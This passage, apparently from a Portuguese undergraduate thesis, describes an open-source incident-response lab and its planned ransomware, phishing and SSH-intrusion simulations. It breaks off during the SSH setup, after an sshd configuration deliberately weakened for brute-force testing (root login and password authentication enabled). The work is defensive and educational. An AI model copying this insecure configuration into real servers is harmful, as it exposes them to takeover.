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Resumo

Este trabalho apresenta a implementagao de um laboratério de resposta a incidentes de
seguranca da informacao utilizando ferramentas open source. O laboratorio foi desenvolvido
com base em ferramentas como TheHive, Cortex, MISP, Wazuh, Zeek e Velociraptor,
focando na analise e mitigagdo de trés cendrios de ataque: ransomware, phishing e intrusao
via SSH. Foram realizadas simulagoes controladas para validar a eficacia do laboratério na
detecgao, andlise e resposta a incidentes. Os resultados demonstraram a viabilidade da
utilizagao de ferramentas open source para a construcao de um ambiente de seguranca
operacional, com tempos de deteccao e resposta compativeis com as necessidades de
organizagoes de médio porte. O trabalho contribui para o campo de seguranca da informacao
ao fornecer um modelo replicavel de laboratorio de resposta a incidentes utilizando

tecnologias acessiveis.

Palavras-chaves: Resposta a Incidentes. Seguranca da Informacao. Ferramentas Open

Source. Ransomware. Phishing. Intrusao SSH.



Abstract

This work presents the implementation of an information security incident response
laboratory using open source tools. The laboratory was developed based on tools such
as TheHive, Cortex, MISP, Wazuh, Zeek, and Velociraptor, focusing on the analysis and
mitigation of three attack scenarios: ransomware, phishing, and SSH intrusion. Controlled
simulations were conducted to validate the laboratory’s effectiveness in incident detection,
analysis, and response. The results demonstrated the feasibility of using open source
tools to build an operational security environment, with detection and response times
compatible with the needs of medium-sized organizations. The work contributes to the field
of information security by providing a replicable model of an incident response laboratory

using accessible technologies.

Key-words: Incident Response. Information Security. Open Source Tools. Ransomware.
Phishing. SSH Intrusion.
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1 Introducao

O cenario contemporaneo de seguranca cibernética caracteriza-se pelo crescimento
exponencial e sofisticacao de ataques digitais, com destaque para trés categoria: ransomware,
phishing e intrusao via SSH. Segundo estatisticas do CERT.br (2024), divulgadas pelo
(Centro de Estudos, Resposta e Tratamento de Incidentes de Seguranga no Brasil), apenas
em 2023 foram reportados mais de 1,5 milhao de incidentes de seguranca, com aumentos

significativos nas categorias abordadas neste trabalho.

O ransomware, consolida-se como uma das ameacas mais criticas. As organizagoes
de todos os portes enfrentam o dilema entre pagar resgates exponenciais ou arcar com

custos ainda maiores de recuperacao de dados e interrupcao operacional.

O phishing continua sendo um dos principais meios de entrada para ataques mais
sofisticados, explorando técnicas de engenharia social e as vulnerabilidades inerentes ao
comportamento humano. Dados do (SpiritSec, 2024) indicam que aproximadamente 90%

dos incidentes graves iniciam-se com campanhas de phishing bem-orquestradas.

A intrusao via Secure Shell (SSH) representa uma ameaga persistente, espe-
cialmente contra servidores expostos na internet. Ataques de forca bruta e exploracao
de credenciais fracas permitem acesso nao autorizado que frequentemente evolui para

movimentacgao lateral e comprometimento total de infraestruturas.

Diante deste cenario desafiador, organizacoes enfrentam a necessidade imediata de
implementar capacidades robustas de deteccao, resposta e mitigacao de incidentes.Nesse
cenario, o Centro de Operagoes de Seguranca (Security Operations Center (SOC), do
inglés Security Operations Center) configura-se como uma estrutura organizacional e
tecnoldgica dedicada ao monitoramento continuo de eventos de seguranca, a andlise de
alertas, a investigacao de incidentes e a coordenacao de respostas a ameacas cibernéticas.
Contudo, solugoes comerciais de SOC costumam envolver custos elevados, o que as torna
inacessiveis para instituicoes de ensino e pequenas e médias empresas, ampliando a lacuna

na capacidade de defesa dessas organizagoes frente aos riscos cibernéticos.

1.1 O problema de pesquisa

A problematica central que este trabalho aborda reside na dificuldade de orga-
nizagoes com recursos limitados em implementar laboratérios de resposta a incidentes
realisticos e eficazes. Especificamente, o problema pode ser delineado através das seguintes

questoes:
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o Como capacitar profissionais e estudantes em resposta a incidentes sem acesso a

ferramentas comerciais caras?

o Como validar estratégias defensivas em ambientes controlados antes da implantacao

em producao?

O ntcleo do problema manifesta-se na inacessibilidade econdémica de solugoes
enterprise, que frequentemente exigem investimentos iniciais de dezenas de milhares de

dolares em licencgas, hardware especializado e consultoria especializada.

1.2 Justificativa

A implementacao de um laboratoério baseado em ferramentas open source justifica-
se, primeiramente, por sua relevancia técnica e econdmica. As ferramentas selecionadas
(TheHive, Cortex, MISP, Wazuh, Zeek e Velociraptor) possuem maturidade, capacidades e
adog¢ao no mercado que rivalizam com solugoes comerciais, e sua integra¢ao proporciona um
ecossistema defensivo completo, desde a deteccao até a orquestracao de resposta. Ademais,
o custo total de implementacao do laboratorio proposto é insignificante comparado a
solugodes comerciais equivalentes, tornando-o acessivel para organizagoes com orcamentos

limitados.

Do ponto de vista educacional e académico, a iniciativa assume papel fundamental
na formacgao de novos profissionais. Institui¢des de ensino frequentemente carecem de
laboratorios praticos para o ensino de seguranca ofensiva e defensiva. Este trabalho fornece
um modelo replicavel que pode ser adotado por outras institui¢oes, democratizando o acesso
ao treinamento em resposta a incidentes e contribuindo para a formacao de profissionais

mais bem preparados para o mercado de trabalho.

No ambito operacional, a capacidade de simular ataques realisticos em ambiente
controlado traz beneficios praticos significativos. O laboratério permite a validacao de
playbooks de resposta, o teste de configuracoes de detecgao, o desenvolvimento de com-
peténcias préticas e a consequente reducao do tempo médio de deteccao (Mean Time
to Detect (MTTD)) e do tempo médio de resposta (Mean Time to Respond (MTTR)),

contribuindo diretamente para o aprimoramento da postura de seguranca organizacional.

1.3 Objetivos

O objetivo geral deste trabalho é desenvolver e implementar um laboratorio in-
tegrado de resposta a incidentes de seguranga da informacao utilizando exclusivamente
ferramentas open source, com capacidade de simular, detectar, analisar e responder a

cenarios realistas de ransomware, phishing e intrusao via SSH.
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1.3.1 Objetivos Especificos

1. Implementacao de Infraestrutura
o Configurar um ambiente virtualizado isolado com segmentacao de rede apropri-
ada;

o Instalar e integrar as ferramentas TheHive, Cortex, MISP, Wazuh, Zeek e

Velociraptor;
o Estabelecer fluxos de comunicacdo e automacao entre os componentes do
laboratoério.
2. Desenvolvimento de Cenarios de Ataque
o Projetar simulacao de intrusao via SSH com ataques de forca bruta e mecanismos
de persisténcia;

e Desenvolver campanha de phishing com coleta de credenciais e execucao de

payload;
e Criar simulacao de ransomware com criptografia de arquivos e comunicagao
com servidor de Comand and Control (C2).

3. Configuracao de Deteccao e Resposta

e Implementar regras de deteccao no Wazuh para os cenarios definidos;

o Configurar o monitoramento de rede com Zeek para captura de indicadores de

comprometimento;
o Estabelecer playbooks de automacao no TheHive para orquestracao da resposta
a incidentes.

4. Validagao e Analise

o Executar simulacoes controladas, documentando todas as etapas do processo;

o Coletar e analisar métricas de eficacia, como tempos de deteccao e precisao dos

alertas;

o Documentar licoes aprendidas e melhorias identificadas durante os testes.
5. Documentacao e Reprodutibilidade

e Produzir documentacao técnica completa para replicagao do laboratoério;
o Criar manuais operacionais para cada ferramenta implementada;

o Disponibilizar scripts e configuragoes para a comunidade open source.
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1.4 Delimitacao do Estudo

Este trabalho define limites para assegurar viabilidade, foco e profundidade na

pesquisa.

No ambito tecnolégico, restringe-se ao uso exclusivo das ferramentas open source
TheHive, Cortex, MISP, Wazuh, Zeek e Velociraptor, em ambiente totalmente virtualizado
por meio de VirtualBox ou VMware, utilizando os sistemas operacionais Ubuntu Server,
Windows 10 e Kali Linux.

Quanto aos cenarios analisados, o estudo concentra-se em trés vetores de ataque
especificos: ransomware, phishing e intrusao via SSH, excluindo outros como Advanced
Persistent Threat (APT), Distributed Denial of Service (DDoS) e ataques a aplicagoes
web. Todas as simulacoes sao realizadas em ambiente controlado, sem acesso a internet

publica.

Em relacao a delimitagcao temporal, o desenvolvimento do laboratorio ocorre entre
junho de 2025 e janeiro de 2026, com a fase de testes e simulagdes concentrada em outubro

de 2025, e a andlise dos resultados e documentacao final realizada em janeiro de 2026.

No aspecto funcional, o foco esta nas atividades de deteccao e resposta a incidentes,
com énfase na analise forense digital pds-incidente, excluindo abordagens de prevencao

proativa e aspectos legais ou de conformidade regulatoria.

1.5 Metodologia Resumida

A metodologia adotada neste trabalho estrutura-se em cinco fases principais,
fundamentadas em principios de pesquisa experimental, com controle rigoroso das variaveis
e garantia de replicabilidade por meio de documentacao detalhada. A Fase 1, correspondente
ao Planejamento e Projeto, compreendeu a definicdo da arquitetura do laboratorio, a
selecao e o versionamento das ferramentas, bem como o design dos cendrios de ataque a
serem simulados. Na Fase 2, de Implementagao, realizou-se a configuragao do ambiente
virtualizado, a instalacao e integracao das ferramentas, além do desenvolvimento de scripts

e automagodes necessarios para o funcionamento integrado do ecossistema de seguranca.

A Fase 3, de Simulacao, consistiu na execugao controlada dos trés cenarios de ataque
(intrusao via SSH, phishing e ransomware), com coleta sistematica de logs e métricas, e
validacao dos mecanismos de deteccao implementados. Na Fase 4, de Andlise, procedeu-se
ao processamento e analise dos dados coletados, realizando-se uma avaliacao quantitativa
e qualitativa da eficacia do laboratoério, bem como a identificacao de oportunidades de

melhoria e ajustes nas configuracoes de detecgao.

Por fim, a Fase 5, de Documentacao, dedicou-se a sistematizagao dos resultados
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obtidos, a producao de manuais técnicos detalhados e a preparacao de material para repli-
cagao do laboratério por outras instituigoes ou pesquisadores. Esta abordagem estruturada
garantiu nao apenas a validade interna dos experimentos, mas também a reprodutibilidade
externa, permitindo que outros possam implementar e validar o ambiente proposto em

contextos semelhantes.

1.6 Estrutura do Trabalho

Este trabalho organiza-se em cinco capitulos sequenciais, estruturados de forma
a conduzir do embasamento tedrico a implementacao pratica e a analise dos resultados
obtidos.

O Capitulo 2 — Revisao de Literatura apresenta a fundamentacao teérica
necessaria para a compreensao do tema, abordando conceitos de resposta a incidentes de
seguranca da informagao, arquitetura de Centros de Operagoes de Seguranga (SOC) e uma
andlise detalhada das ferramentas open source selecionadas, contextualizando o estudo no

estado da arte.

O Capitulo 3 — Desenvolvimento descreve minuciosamente a implementagao do
laboratério proposto, incluindo as configuragoes especificas do ambiente virtualizado, as
integragoes realizadas entre as ferramentas e os procedimentos adotados para a simulagao

dos cenarios de ataque, garantindo a reprodutibilidade do experimento.

O Capitulo 4 — Resultados e Analise apresenta os resultados obtidos a partir
das simulacoes conduzidas, contemplando métricas de desempenho, avaliacao da eficicia
dos mecanismos de detecgao e resposta, bem como uma analise critica do funcionamento

integrado do laboratério.

O Capitulo 5 — Conclusao sintetiza as principais contribuicoes do trabalho,
discute as limitagoes identificadas durante o desenvolvimento e a execugao do laboratorio

e propoe diregoes futuras para pesquisa e aprimoramento da solugao apresentada.

Por fim, os Elementos Pés-Textuais incluem as referéncias bibliograficas utiliza-
das, apéndices contendo configuracoes técnicas relevantes e anexos com evidéncias das

simulagoes realizadas.
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2 Revisao bibliografica

2.1 Conceituacao e Definicoes

A Incident Response (IR) constitui-se como um conjunto estruturado de processos
e técnicas desenvolvidas para lidar proativamente com violagoes de seguranca cibernética.
Conforme definido pelo NIST (National Institute of Standards and Technology) no Special
Publication 800-61, trata-se de "a capacidade de detectar, responder e recuperar de
incidentes de seguranca'(SCARFONE; MELL, 2007).

Bejtlich (2013) amplia esta defini¢ao, caracterizando a resposta a incidentes como
"um processo continuo de melhoria da postura de seguranca através da analise de eventos
adversos'. Esta perspectiva enfatiza o carater ciclico e evolutivo da disciplina, que trans-
cende a mera reac¢ao a eventos para incorporar aprendizado continuo e aprimoramento

defensivo.

2.1.1 Ciclo de Vida da Resposta a Incidentes

O framework mais amplamente adotado para resposta a incidentes, proposto pelo

NIST, organiza-se em quatro fases principais:

Preparacao: Estabelecimento de capacidades humanas, processuais e tecnolégicas
necessarias para lidar eficazmente com incidentes. Inclui desenvolvimento de politicas,
treinamento de equipes, implementacao de ferramentas e estabelecimento de contratos

com terceiros.

Deteccao e Analise: Identificacao de eventos potencialmente maliciosos através
de monitoramento continuo e analise subsequente para determinar escopo, impacto e
natureza da ameaca. Envolve coleta de evidéncias, correlacao de eventos e classificacao de

severidade.

Contencao, Erradicacao e Recuperacao: Implementacao de medidas para
limitar danos, eliminar a presenca do atacante e restaurar operagoes normais. Inclui

isolamento de sistemas, remocao de malware e recuperacao de dados.

Atividades Pés-Incidente: Andlise critica do incidente e das acoes de resposta,

identificagao de licoes aprendidas e implementacao de melhorias para prevenir recorréncias.
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2.1.2 Importancia Estratégica

Lutigens, Pepe e Mandia (2014) destacam que "organizagdes sem capacidades
formais de resposta a incidentes frequentemente sofrem danos significativamente maiores
e tempos de recuperacao mais prolongados'(LUTTGENS; PEPE; MANDIA, 2014). A
abordagem proativa a resposta a incidentes demonstra correlagao direta com redugao de

custos operacionais e preservagao de reputacao organizacional.

2.2 Ferramentas Open Source para Resposta a Incidentes

2.2.1 TheHive

Conceito e Arquitetura: TheHive representa uma plataforma de resposta a
incidentes de seguranca de cédigo aberto, projetada especificamente para facilitar colabo-
racao e analise colaborativa de eventos de seguranca. Desenvolvido em Scala e construido
sobre o framework Play, oferece interface web responsiva e Application Programming
Interface (API) RESTful completa.

Funcionalidades Principais: Criagao e gestao de casos de seguranga com tem-
plates customizaveis; Linha do tempo integrada para rastreamento de atividades; Suporte
a multiplos analistas com controle de acesso granular; Integracao nativa com Cortex para
analise automatizada de observaveis; Geracao de relatorios personalizaveis em multiplos

formatos.

Aplicacao Pratica: No contexto deste trabalho, TheHive atua como orquestrador
central, agregando alertas de diversas fontes e coordenando atividades de resposta através

de playbooks automatizados.

2.2.2 Cortex

Conceito e Funcionalidade: Cortex configura-se como uma plataforma de analise
de observaveis, permitindo a execucao de analisadores automatizados sobre dados suspeitos.
Sua arquitetura modular suporta a integracao com diversos servigos de inteligéncia contra

ameacas.

Analisadores Disponiveis: Consulta a bases de inteligéncia (VirusTotal, Abu-
selPDB, etc.); Andlise estdtica de arquivos (pefile, Yet Another Recursive Acronym

(YARA), etc.); Desobfuscagao e extracao de indicadores; Andlise de URLs e dominios.

Integracao com TheHive: A integracao simbidtica com TheHive permite que
observaveis ( Intrusion Prevention System (IPS), Uniform Resource Locator (URL), hashes)
sejam automaticamente submetidos a multiplos analisadores, enriquecendo casos com

inteligéncia contextual.
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2.2.3 MISP (Malware Information Sharing Platform)

Ecosistema de Compartilhamento: MISP (MISP Project, 2024) estabelece-
se como plataforma de compartilhamento de inteligéncia contra ameagas, facilitando a

colaboragdo entre organizacoes através de padroes abertos e modelos de confianga flexiveis.

Capacidades Técnicas: Armazenamento e correlagao de Indicator of Compro-
mise (I0OC) (Indicators of Compromise); Modelagem de campanhas e grupos de ameagas;
Exportacao em multiplos formatos (Structured Threat Information eXpression (STIX),
JavaScript Object Notation (JSON), Comma-Separated Values (CSV)); API para integra-

¢ao com ferramentas de seguranca.

Aplicagcao no Laboratério: No ambiente implementado, MISP serve como
repositério central de inteligéncia, alimentando outras ferramentas com IOCs conhecidos e

permitindo a contextualizacao de detecgoes.

2.2.4 Zeek (Anteriormente Bro)

Monitoramento de Rede Passivo: Zeek diferencia-se de solugoes tradicionais
de IDS através de sua abordagem baseada em analise de trafego de rede, gerando logs

detalhados em vez de alertas binarios.

Caracteristicas Técnicas: Analise profunda de pacotes em tempo real; Geracao de
logs estruturados em multiplos protocolos; Linguagem de script para detecgdo customizada;

Baixo impacto em performance de rede.

Logs Relevantes para Este Trabalho: ssh.log (Tentativas de autenticacao SSH);

http.log (Trafego web e downloads); conn.log (Conexdes de rede e estatisticas).

2.2.5 Wazuh

Plataforma Unificada de Seguranca: Wazuh combina capacidades de Intrusion
Detection System (IDS), File Integrity Monitoring (FIM) e Security Information and Event

Management (SIEM) em uma solucdo integrada.

Componentes Principais: Agentes leves para sistemas endpoints; Servidor cen-
tral para andlise e correlagao; Console web para gestao e visualizagao; Integragao com

elasticsearch para armazenamento.

Capacidades de Deteccgao: Deteccao de intrusoes baseada em assinaturas; Mo-
nitoramento de integridade de arquivos; Deteccao de vulnerabilidades; Analise de logs e

correlagao de eventos.
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2.2.6  Velociraptor

Forense Digital e Caga a Ameacas: Velociraptor posiciona-se como ferramenta
de resposta a incidentes e caga proativa a ameacas, focando na coleta e anélise de artefatos

de sistemas endpoints.

Arquitetura e Funcionalidades: Coleta de artefatos de memoéria, sistema de
arquivos e registro; Linguagem de consulta Velociraptor Query Language (VQL); Interface

web para gestdo de coletas; Suporte a investigagoes em larga escala.

Aplicacao nos Cenarios de Ataque: Analise pés-comprometimento em intrusao
SSH; Investigacao de persisténcia em ataques de phishing; Coleta de amostras e anélise de

comportamento em ransomware.

2.3 Cenarios de Ataque

2.3.1 Intrus3o via SSH

Mecanismos de Ataque: Ataques contra o servico SSH concentram-se predomi-
nantemente em duas abordagens: for¢a bruta de credenciais e exploracao de vulnerabilidades
no servigo. Johansen (2018) observa que "servidores SSH expostos na internet sofrem
milhares de tentativas de autenticagdo didrias de origens automatizadas"(JOHANSEN;,
2018).

Técnicas de Persisténcia: Apds acesso bem-sucedido, atacantes frequentemente
implementam mecanismos de persisténcia, incluindo: Criacao de usuarios backdoor com
privilégios elevados; Instalacdo de chaves SSH autorizadas; Modificacdo de servigos e cron

jobs para execucao continua; Instalagao de rootkits e agentes de comando e controle.

Indicadores de Comprometimento: Multiplas falhas de autenticacao em logs;
Conexoes de origens geograficamente anémalas; Criagdo de usuérios nao autorizados;

Modificagoes em arquivos de configuragao do SSH.

2.3.2  Phishing

Evolucgao das Técnicas: O phishing evoluiu de campanhas genéricas para ataques
altamente direcionados (spear phishing), aproveitando-se de engenharia social sofisticada

e conhecimento especifico sobre as vitimas.

Vetores de Entrega: E-mails com links para sites falsos; Anexos maliciosos
com macros ou scripts; URLs encurtadas e dominios similares (typosquatting); Ataques

baseados em SMS (smishing) e voz (vishing).

Consequéncias do Comprometimento: Roubo de credenciais e acesso nao

autorizado; Instalacdo de malware e ransomware; Violacao de dados sensiveis; Acesso
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inicial para ataques mais sofisticados.

2.3.3 Ransomware

Modelos de Negoécio: O ecossistema de ransomware profissionalizou-se significati-
vamente, com modelos Ransomware as a Service (RaaS) e esquemas de afiliados ampliando

o alcance e sofisticacao dos ataques.

Técnicas de Evasao: Criptografia assimétrica para evitar recuperagao sem paga-
mento; Técnicas anti-andlise e anti-debugging; Eliminagao de shadows copies e backups;

Movimentacao lateral antes da criptografia.

Impacto Organizacional: (TANNER, 2019) ressalta que "além do custo direto do
resgate, organizacoes enfrentam paralisagoes operacionais prolongadas, danos reputacionais

irrepardveis e potenciais implicagoes legais por violacao de dados"(TANNER, 2019).

Estratégias de Mitigagao: Backups frequentes e isolados; Segmentagao de rede
para contencao; Monitoramento de alteragoes em massa de arquivos; Educacao continuada

de usuérios.

2.3.4 Beneficios da Abordagem Integrada

A combinacao sinérgica destas ferramentas proporciona: Redugao de falsos positivos
através de correlagao contextual; Aceleracao do tempo de resposta através de automacao;
Melhoria na qualidade da analise através de enriquecimento de dados; Capacitagao de

equipes através de interfaces unificadas.

2.4 Trabalhos Relacionados

2.4.1 Pesquisas em Laboratérios de Seguranca

Estudos anteriores exploraram implementacoes de laboratérios de seguranga com

abordagens variadas:

Abordagem Baseada em Virtualizagao: Pesquisas como a de (O’LEARY, 2015)
demonstram a viabilidade de ambientes virtualizados para treinamento em seguranca,

porém com foco predominantemente ofensivo (O’LEARY, 2015).

Implementacoes com Ferramentas Comerciais: Em contextos corporativos, é
comum a adocao de solucoes enterprise, o que pode restringir o acesso por parte de organi-
zagoes que dispoem de recursos financeiros limitados (Gartner, 2023; SOMMERVILLE,
2019).
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2.4.2 Diferenciais deste Trabalho

Esta pesquisa diferencia-se por: Foco exclusivo em ferramentas open source; Inte-
gracao completa de seis ferramentas complementares; Abordagem pratica com trés cenarios
de ataque realistas; Documentacao completa para replicagao; Métricas quantitativas de
eficacia.

A revisao de literatura demonstra tedria e pratica para a implementacao proposta,
estabelecendo fundamentacgao robusta para o desenvolvimento do laboratério de resposta

a incidentes com ferramentas open source.
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3 Desenvolvimento

Este capitulo descreve a construcao do laboratoério integrado de resposta a incidentes,
apresentando as decisOes técnicas e arquiteturais que orientaram sua implementac¢ao. O
ambiente é caracterizado pela integracao entre as ferramentas Wazuh, Zeek, TheHive
e Cortex, destacando como esses componentes operam de maneira complementar nos

processos de coleta, analise, correlacao e resposta a eventos de seguranca.

3.1 Arquitetura da Infraestrutura

O ambiente de laboratério foi concebido seguindo principios de isolamento, replica-

bilidade e escalabilidade. A infraestrutura implementada caracteriza-se por:

A topologia de rede adotada esta representada na Figura 1, evidenciando o fluxo de
comunicacao entre os componentes do ambiente virtualizado. A segmentacao foi realizada
por meio de um roteador NAT do VirtualBox, assegurando o isolamento integral do trafego

gerado pelas maquinas virtuais em relacao a rede fisica do host.

Topologia

Internet
|

BLOQUEADO

Roteador NAT
(VirtualBox)

Y

Switch Virtual

[Ambiente Virtuajifado\

Y

VM - Ubuntu Server
(Servidor / Monitoramento)

VM - Kali Linux WM - Windows 10

(Atacante) (Alvo)

Figura 1 — Fluxo de comunicacao do ambiente virtualizado

Especificagcoes de Hardware:
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O laboratério foi implementado em um host com processador Intel Core i7-10700K,
64GB de Random Access Memory (RAM) e 1TB SSD NVMe, utilizando o Oracle Virtual-
Box 7.0.12 como hipervisor e Ubuntu Server 22.04 LTS como sistema operacional host. A
infraestrutura virtualizada foi configurada com segmentacao de rede na sub-rede principal
192.168.56.0/24, tendo como gateway o endereco 192.168.56.1 (modo Network Address
Translation (NAT) do VirtualBox) e servidores Domain Name System (DNS) ptblicos
8.8.8.8 ¢ 8.8.4.4.

Para garantir o isolamento completo da rede fisica, foram adotadas medidas rigorosas
de seguranca, incluindo o modo NAT do VirtualBox, firewall iptables configurado para
bloquear trafego de saida nao autorizado e politicas especificas para prevenir vazamento
acidental de trafego, assegurando que todas as simulagdoes permanecessem contidas no

ambiente controlado.

3.1.1 MaAquinas Virtuais Especificadas

Servidor Ubuntu (ir-server-01):

« Internet Protocol (IP): 192.168.56.10

« Recursos: 8GB RAM, 4 vCPUs, 120GB disco

e Sistema: Ubuntu Server 22.04.3 LTS

o Servigos: TheHive, Cortex, MISP, Wazuh Server, Zeek, Velociraptor Server

« Configuragoes Especificas: Docker Engine 24.0.6; Docker Compose 2.21.0; Python
3.10.12; OpenJDK 11.0.20

Estacdo Windows (winl0-workstation-01):

o IP: 192.168.56.20
« Recursos: 4GB RAM, 2 vCPUs, 80GB disco
e Sistema: Windows 10 Pro 22H2

o Configuragoes Especificas:

— Wazuh Agent 4.7.2;

— Velociraptor Client 0.6.7.4;
— PowerShell 5.1;

— Microsoft Office 2019
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Kali Linux (kali-attacker-01):

o IP: 192.168.56.30
e Recursos: 4GB RAM, 2 vCPUs, 60GB disco
o Sistema: Kali Linux 2023.4

o Ferramentas de Ataque: Hydra 9.4; GoPhish 0.11.0; Metasploit Framework 6.3.0;
Custom Python scripts

3.2 Integracao de Ferramentas em um SOC Open Source

A integracao das ferramentas implementadas configura um ecossistema defensivo
completo, estruturado segundo uma arquitetura em camadas que contempla coleta, analise

e resposta a incidentes.

Na camada de coleta, Wazuh e Zeek sao responsaveis pela obtencao de dados
provenientes de endpoints e do trafego de rede, garantindo visibilidade tanto em nivel de
host quanto em nivel de comunicacao. Na camada de analise, TheHive atua na correlagao
de alertas e na orquestracao das atividades de resposta, enquanto o Cortex realiza o
enriquecimento automatizado de observaveis por meio de analisadores externos, e o MISP
fornece contexto adicional com base em indicadores de comprometimento previamente
catalogados. Por fim, na camada de resposta, o Velociraptor possibilita investigacao
detalhada em endpoints, ao passo que playbooks automatizados apoiam agoes de contencao,

e a analise forense contribui para a erradicacao completa das ameacas identificadas.

3.3 Ferramentas Implementadas

A Figura 2 apresenta uma visao simplificada, da arquitetura de integracao das
ferramentas open source implementadas no laboratoério de resposta a incidentes. O dia-
grama ilustra o fluxo de dados e a correlagao de eventos entre os diferentes componentes,
organizados em camadas funcionais que representam as etapas tipicas de um SOC (Security
Operations Center). Na base da arquitetura, a camada de coleta é responsavel pela captura
de dados brutos de seguranca a partir de diferentes fontes: o Wazuh atua como sensor
principal nos endpoints, coletando logs do sistema operacional, eventos de seguranca e
monitorando a integridade de arquivos (FIM); paralelamente, o Zeek realiza a coleta
passiva de trafego de rede, gerando logs estruturados de conexoes, protocolos (HTTP, SSH,
etc.) e arquivos transferidos; o MISP complementa esta camada fornecendo inteligéncia
contra ameagas na forma de Indicadores de Comprometimento (I0Cs), que alimentam o

sistema com contexto sobre ameagas conhecidas. Os dados coletados sao processados e
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transformados em alertas e logs estruturados, sendo direcionados para a camada de analise

em um fluxo continuo que alimenta o motor de correlagao central.

Na camada de anélise e orquestracao, o TheHive atua como o orquestrador central
da arquitetura, recebendo e consolidando todos os alertas e logs. Quando um caso é criado,
o TheHive extrai observaveis (IPs, hashes, dominios, URLS) e os submete automaticamente
ao Cortex para enriquecimento. O Cortex executa analisadores que consultam servigos
como VirusTotal, AbuseIPDB e outros, retornando informagoes contextuais que aumentam
a precisao da andlise e reduzem falsos positivos. Com base nos resultados enriquecidos,
o TheHive aciona playbooks automatizados de resposta, que podem incluir a¢ées como
notificacao de analistas, bloqueio de IPs ofensivos ou isolamento de hosts comprometidos.
Para investigacoes mais aprofundadas, o Velociraptor é acionado para realizar coleta
forense nos endpoints afetados, permitindo andlise de memoria, processos em execucao,

artefatos de persisténcia e outros vestigios digitais.

Um aspecto fundamental da arquitetura é o ciclo de retroalimentacao: os resultados
das investigacoes e as novas ameacas identificadas podem ser compartilhados de volta com
o MISP, enriquecendo a base de inteligéncia coletiva e melhorando a detecgao futura. Da
mesma forma, novas regras de deteccao desenvolvidas durante as investigacoes podem ser
implementadas no Wazuh e no Zeek, criando um ciclo virtuoso de aprimoramento continuo
da capacidade defensiva. Esta integragao sinérgica entre as ferramentas demonstra como
a arquitetura proposta nao apenas detecta e responde a incidentes, mas também evolui

constantemente com base no aprendizado obtido a partir de cada ocorréncia processada.

SOC Open Source - Visdo Simplificada

Coleta\ Andlise
Zeek MSP

I0Cs

Wazuh

Alertas

TheHive

Yestigacdo Contengéo
Resposta \

Y N
[ Playbooks

Velociraptor

Figura 2 — Arquitetura de integracao das ferramentas SOC open source

3.3.1 TheHive, Cortex e MISP

O TheHive 4.1.25 foi implantado em instancia Docker com PostgreSQL 13, uti-
lizando autenticagao Open Authorization 2 (OAuth2) com provedor local, templates de
casos customizados para cada cendrio e API Representational State Transfer (REST)

habilitada para integracao com demais componentes. O Cortex 3.1.11 foi configurado
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com oito workers concorrentes e analisadores como VirusTotal v3, AbuselPDB, Filelnfo e
DomainTools, permitindo enriquecimento automatizado de indicadores. O MISP 2.4.177
foi configurado com feeds de inteligéncia como CIRCL Taxonomy e Abuse.ch, além de
IOCs personalizados dos cenarios simulados, utilizando Redis para cache e workers em

segundo plano para processamento.

3.3.2 Zeek 5.0.9

O Zeek foi empregado como ferramenta de monitoramento e andlise de trafego de
rede orientada a eventos, sendo responsavel pela inspecao do trafego gerado no ambiente
virtualizado. Sua configuragao foi realizada por meio do arquivo zeekctl.cfg, no qual
foram definidos parametros como a interface ethO para captura de trafego, método de
balanceamento interfaces e utilizacao de dois processos paralelos (1b_procs), otimizando
o desempenho da andlise. Foram implementados scripts customizados para deteccao de
forca bruta em SSH, downloads suspeitos e indicadores de ransomware, gerando logs

estruturados como conn.log, ssh.log, http.log, files.log e notice.log.

3.3.3 Wazuh 4.7.2

O Wazuh foi estruturado com servidor central no host ir-server-01 (192.168.56.10),
agentes instalados no préprio servidor e na estacao Windows, indexador baseado em Elas-
ticsearch 8.10.2 e painel de visualizacao Wazuh Dashboard 4.7.2. Foram implementadas
regras customizadas para aprimorar a deteccao de eventos especificos do laboratoério,
ampliando a granularidade na identificacao de comportamentos suspeitos. Além disso, foi
configurado o File Integrity Monitoring (FIM) para monitoramento de diretérios criticos
em sistemas Linux e Windows, com uso de checksums SHA256 para detecgiao de alteragoes

nao autorizadas.

3.3.4 Velociraptor 0.6.7.4

O Velociraptor foi configurado com frontend disponivel em 192.168.56.10:8889,
autenticacao Basic Auth e armazenamento local baseado em arquivos. Foram utilizadas
colecoes predefinidas para andlise de usuarios em sistemas Linux, monitoramento de
execucao de PowerShell em ambientes Windows, inventario de clientes e deteccao de
indicadores de ransomware, possibilitando investigagao detalhada e coleta estruturada de

artefatos durante os cenarios simulados.
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3.4 Simulacoes Realizadas

Os fluxogramas de resposta a incidentes, descrevem as etapas de deteccao, andlise,

contencao e erradicagao adotadas no laboratério experimental.

3.4.1 Fluxos de Resposta a Incidentes

O fluxograma apresentado na Figura 3 segue as melhores préticas estabelecidas
pelo (National Institute of Standards and Technology, 2012) para resposta a incidentes de

seguranca.

Fluxo de Resposta a Intrusio SSH

S35H Bruteforce Detected

Y

Wazuh Alert Generated

Y

TheHive Case Creation

Y

Cortex 10C Analysis

Y

Velociraptor Investigation

Y

Containment Actions

Y

Eradication and Recovery

Figura 3 — Fluxograma completo de resposta a intrusdao SSH

Fonte: Adaptado de (National Institute of Standards and Technology, 2012).

A Figura 4 apresenta o procedimento especifico para resposta a incidentes de

ransomware, considerando a criticidade deste tipo de ataque conforme documentado por
(CERT.br, 2024).
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Fluxo de Resposta a Ransomware

FIM - Alteracfes Massivas Detectadas

h 4

Criacdo Automatica de Caso (TheHive)

Y

Isolamento de Rede

Y

Coleta Forense (Velociraptor)

h A

Analise de Malware (Cortex)

h 4

Procedimentos de Recuperacio

Figura 4 — Fluxograma de resposta a ataque de ransomware

Fonte: Baseado em (JOHANSEN, 2018) e (CERT.br, 2024).

3.4.2 Simulacdo de Intrusdo via SSH

A simulacao teve como objetivo reproduzir um cenario realista de intrusao por meio
do protocolo Secure Shell (SSH), permitindo avaliar a capacidade de detecgao, correlagao

e resposta das ferramentas implementadas no ambiente.

Abaixo segue a preparacao detalhada da simulagao de intrusao via SSH realizada

no ambiente experimental.

1. Configuracao do Servidor SSH:

Inicialmente, realizou-se a configuracao do servico SSH no servidor alvo, assegurando
sua disponibilidade para conexodes remotas e viabilizando a execug¢ao controlada
do cenario de ataque. Conforme ilustrado na Figura 5, o servico foi devidamente
habilitado e ajustado para permitir autenticacdo via senha, condi¢do necesséaria para

a simulagao do ataque de forga bruta.
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Port

Protocol 2

PermitRootLogin yes

PasswordAuthentication yes

MaxAuthTries 2

Figura 5 — Configuragdo do servico SSH no servidor alvo.

2. Preparacao das Ferramentas:

